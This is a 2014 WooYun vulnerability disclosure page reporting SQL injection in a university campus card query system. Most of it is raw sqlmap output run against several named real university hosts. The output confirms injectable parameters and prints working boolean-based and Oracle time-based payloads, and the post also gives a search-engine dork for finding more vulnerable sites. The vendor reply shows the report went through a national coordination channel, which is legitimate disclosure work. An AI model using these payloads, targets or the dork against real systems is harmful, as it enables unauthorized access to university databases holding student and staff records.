当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-069747

漏洞标题:某学校一卡通查询系统多处Sql注入漏洞(N多大学躺枪)

相关厂商:学校

漏洞作者: Mosuan

提交时间:2014-07-26 12:28

修复时间:2014-10-24 12:30

公开时间:2014-10-24 12:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-26: 细节已通知厂商并且等待厂商处理中
2014-07-31: 厂商已经确认,细节仅向厂商公开
2014-08-03: 细节向第三方安全合作伙伴开放
2014-09-24: 细节向核心白帽子及相关领域专家公开
2014-10-04: 细节向普通白帽子公开
2014-10-14: 细节向实习白帽子公开
2014-10-24: 细节向公众公开

简要描述:

rt

详细说明:

网速有点渣,没跑出数据库就500错误了,我用的是中文版sqlmap,管理员用你们的bt5里面的sqlmap试试。
不过能跑出证明参数fbxxid存在注入
仅用百度搜了一下关键词就有N多大学.....
关键词

inurl:managerOneGgxxfb.action?


还有很多注入点
例如下面这些

http://ecard.sdu.edu.cn/ggxxfb.action?lmid=53d6b69231bd74d70132149514b60001
http://ecard.sdu.edu.cn/xxsearch.action?lmid=53d6b69231bd74d70132149514b60001


举几个例子

注入地址:http://ecard.sdu.edu.cn/managerOneGgxxfb.action?fbxxid=53d6b6923cff8518
013f5f2b4aeb000a
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:26:18
[00:26:18] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\ecard.sdu.edu.cn\session' as session file
[00:26:18] [INFO] testing connection to the target url
[00:26:20] [INFO] heuristics detected web page charset 'GB2312'
[00:26:20] [INFO] testing if the url is stable, wait a few seconds
[00:26:22] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[00:26:46] [INFO] testing if GET parameter 'fbxxid' is dynamic
[00:26:46] [INFO] confirming that GET parameter 'fbxxid' is dynamic
[00:26:47] [WARNING] GET parameter 'fbxxid' appears to be not dynamic
[00:26:48] [WARNING] heuristic test shows that GET parameter 'fbxxid' might not
be injectable
[00:26:48] [INFO] testing sql injection on GET parameter 'fbxxid'
[00:26:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:26:58] [INFO] GET parameter 'fbxxid' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[00:26:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
sqlmap got a 302 redirect to 'http://pages/common/nopurviewerror.jsp'. Do you wa
nt to follow? [Y/n] y
[00:27:10] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[00:27:14] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[00:27:19] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[00:27:23] [CRITICAL] unable to connect to the target url or proxy
[00:27:23] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:27:24] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:27:24] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:27:28] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[00:27:32] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[00:27:36] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[00:27:40] [CRITICAL] unable to connect to the target url or proxy
[00:27:40] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:27:41] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:27:41] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:27:42] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:27:46] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:27:50] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[00:27:50] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. --flush-session --tech
nique=BEUS) or try to lower the value of option '--time-sec' (e.g. --time-sec=2)
[00:27:54] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[00:27:58] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[00:28:03] [CRITICAL] unable to connect to the target url or proxy
[00:28:03] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:28:03] [INFO] testing 'Oracle AND time-based blind'
[00:28:06] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[00:28:10] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[00:28:14] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[00:28:18] [CRITICAL] unable to connect to the target url or proxy
[00:28:18] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:28:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:28:44] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[00:29:15] [INFO] checking if the injection point on GET parameter 'fbxxid' is a
false positive
GET parameter 'fbxxid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 49 HTTP(s) requ
ests:
---
Place: GET
Parameter: fbxxid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: fbxxid=53d6b6923cff8518013f5f2b4aeb000a' AND 7846=7846 AND 'Dnei'='
Dnei
---
[00:29:29] [INFO] testing MySQL
[00:29:29] [WARNING] the back-end DBMS is not MySQL
[00:29:29] [INFO] testing Oracle
[00:29:31] [INFO] confirming Oracle
[00:29:33] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[00:29:33] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[00:29:33] [INFO] fetching database (schema) names
[00:29:33] [INFO] fetching number of databases
[00:29:33] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[00:29:33] [INFO] retrieved:
[00:29:37] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[00:29:41] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[00:29:45] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[00:29:49] [CRITICAL] unable to connect to the target url or proxy
[00:29:49] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 23 times
[*] shutting down at 00:29:49


注入地址:http://ecard.jxust.cn/managerOneGgxxfb.action?fbxxid=5ad708b246530b9701
465f65ff820005
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:31:22
[00:31:22] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\ecard.jxust.cn\session' as session file
[00:31:22] [INFO] testing connection to the target url
[00:31:23] [INFO] heuristics detected web page charset 'GB2312'
[00:31:23] [INFO] testing if the url is stable, wait a few seconds
[00:31:25] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[00:32:26] [INFO] testing if GET parameter 'fbxxid' is dynamic
[00:32:26] [INFO] confirming that GET parameter 'fbxxid' is dynamic
[00:32:29] [WARNING] GET parameter 'fbxxid' appears to be not dynamic
[00:32:29] [WARNING] heuristic test shows that GET parameter 'fbxxid' might not
be injectable
[00:32:29] [INFO] testing sql injection on GET parameter 'fbxxid'
[00:32:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:32:41] [INFO] GET parameter 'fbxxid' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[00:32:41] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:32:41] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:32:42] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:32:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:32:44] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:32:45] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:32:45] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:32:49] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:32:49] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:32:50] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:32:50] [INFO] testing 'Oracle AND time-based blind'
[00:33:12] [INFO] GET parameter 'fbxxid' is 'Oracle AND time-based blind' inject
able
[00:33:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'fbxxid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 34 HTTP(s) requ
ests:
---
Place: GET
Parameter: fbxxid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: fbxxid=5ad708b246530b9701465f65ff820005' AND 5859=5859 AND 'IGNH'='
IGNH
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: fbxxid=5ad708b246530b9701465f65ff820005' AND 5191=DBMS_PIPE.RECEIVE
_MESSAGE(CHR(89)||CHR(106)||CHR(112)||CHR(68),5) AND 'kZBv'='kZBv
---
[00:34:42] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[00:34:42] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[00:34:42] [INFO] fetching database (schema) names
[00:34:42] [INFO] fetching number of databases
[00:34:42] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[00:34:42] [INFO] retrieved:
[00:34:43] [ERROR] unable to retrieve the number of databases
[00:34:43] [INFO] falling back to current database
[00:34:43] [INFO] fetching current database
[00:34:43] [INFO] retrieved:
[00:34:46] [CRITICAL] unable to retrieve the database names
[00:34:46] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 33 times
[*] shutting down at 00:34:46


注入地址:http://www.ecard.ldu.edu.cn/managerOneGgxxfb.action?fbxxid=4a42b0f33381
c4f90133860f52490001
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:31:44
[00:31:44] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.ecard.ldu.edu.cn\session' as session file
[00:31:44] [INFO] testing connection to the target url
[00:31:49] [INFO] heuristics detected web page charset 'GB2312'
[00:31:49] [INFO] testing if the url is stable, wait a few seconds
[00:31:54] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[00:32:29] [INFO] testing if GET parameter 'fbxxid' is dynamic
[00:32:29] [INFO] confirming that GET parameter 'fbxxid' is dynamic
[00:32:30] [WARNING] GET parameter 'fbxxid' appears to be not dynamic
[00:32:31] [WARNING] heuristic test shows that GET parameter 'fbxxid' might not
be injectable
[00:32:31] [INFO] testing sql injection on GET parameter 'fbxxid'
[00:32:31] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:33:03] [INFO] GET parameter 'fbxxid' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[00:33:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:33:04] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:33:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:33:05] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:33:06] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:33:07] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:33:07] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:33:08] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:33:08] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:33:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:33:10] [INFO] testing 'Oracle AND time-based blind'
[00:33:21] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:34:16] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:34:16] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[00:35:05] [INFO] checking if the injection point on GET parameter 'fbxxid' is a
false positive
GET parameter 'fbxxid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 47 HTTP(s) requ
ests:
---
Place: GET
Parameter: fbxxid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: fbxxid=4a42b0f33381c4f90133860f52490001' AND 5982=5982 AND 'tcKY'='
tcKY
---
[00:36:14] [INFO] testing MySQL
[00:36:15] [WARNING] the back-end DBMS is not MySQL
[00:36:15] [INFO] testing Oracle
[00:36:19] [INFO] confirming Oracle
[00:36:25] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[00:36:25] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[00:36:25] [INFO] fetching database (schema) names
[00:36:25] [INFO] fetching number of databases
[00:36:25] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[00:36:25] [INFO] retrieved:
[00:36:27] [ERROR] unable to retrieve the number of databases
[00:36:27] [INFO] falling back to current database
[00:36:27] [INFO] fetching current database
[00:36:27] [INFO] retrieved:
[00:36:32] [CRITICAL] unable to retrieve the database names
[00:36:32] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 35 times
[*] shutting down at 00:36:32


注入地址:http://ecard.hycollege.net/managerOneGgxxfb.action?fbxxid=40287e8627d60
0d40127dce2af050001
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:32:22
[00:32:22] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\ecard.hycollege.net\session' as session file
[00:32:22] [INFO] testing connection to the target url
[00:32:30] [INFO] heuristics detected web page charset 'GB2312'
[00:32:31] [INFO] testing if the url is stable, wait a few seconds
[00:32:41] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[00:32:45] [INFO] testing if GET parameter 'fbxxid' is dynamic
[00:32:46] [INFO] confirming that GET parameter 'fbxxid' is dynamic
[00:32:47] [WARNING] GET parameter 'fbxxid' appears to be not dynamic
[00:32:47] [WARNING] heuristic test shows that GET parameter 'fbxxid' might not
be injectable
[00:32:47] [INFO] testing sql injection on GET parameter 'fbxxid'
[00:32:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:33:19] [INFO] GET parameter 'fbxxid' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[00:33:19] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:33:20] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:33:20] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:33:20] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:33:21] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:33:21] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:33:21] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:33:22] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:33:22] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:33:23] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:33:23] [INFO] testing 'Oracle AND time-based blind'
[00:33:33] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:34:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:34:40] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[00:35:46] [INFO] checking if the injection point on GET parameter 'fbxxid' is a
false positive
GET parameter 'fbxxid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 47 HTTP(s) requ
ests:
---
Place: GET
Parameter: fbxxid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: fbxxid=40287e8627d600d40127dce2af050001' AND 1842=1842 AND 'XnoD'='
XnoD
---
[00:36:49] [INFO] testing MySQL
[00:36:49] [WARNING] the back-end DBMS is not MySQL
[00:36:49] [INFO] testing Oracle
[00:36:56] [INFO] confirming Oracle
[00:37:05] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[00:37:05] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[00:37:05] [INFO] fetching database (schema) names
[00:37:05] [INFO] fetching number of databases
[00:37:05] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[00:37:05] [INFO] retrieved:
[00:37:06] [ERROR] unable to retrieve the number of databases
[00:37:06] [INFO] falling back to current database
[00:37:06] [INFO] fetching current database
[00:37:06] [INFO] retrieved:
[00:37:08] [CRITICAL] unable to retrieve the database names
[00:37:08] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 35 times
[*] shutting down at 00:37:08


漏洞证明:

详细说明

修复方案:

你们懂得。

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-07-31 10:33

厂商回复:

CNVD确认并复现所述情况(由上海交通大学网络信息中心协助完成案例验证),后续按流程向教育网应急组织——赛尔网络公司通报,并抄报CCERT处置。该漏洞非首报。

最新状态:

暂无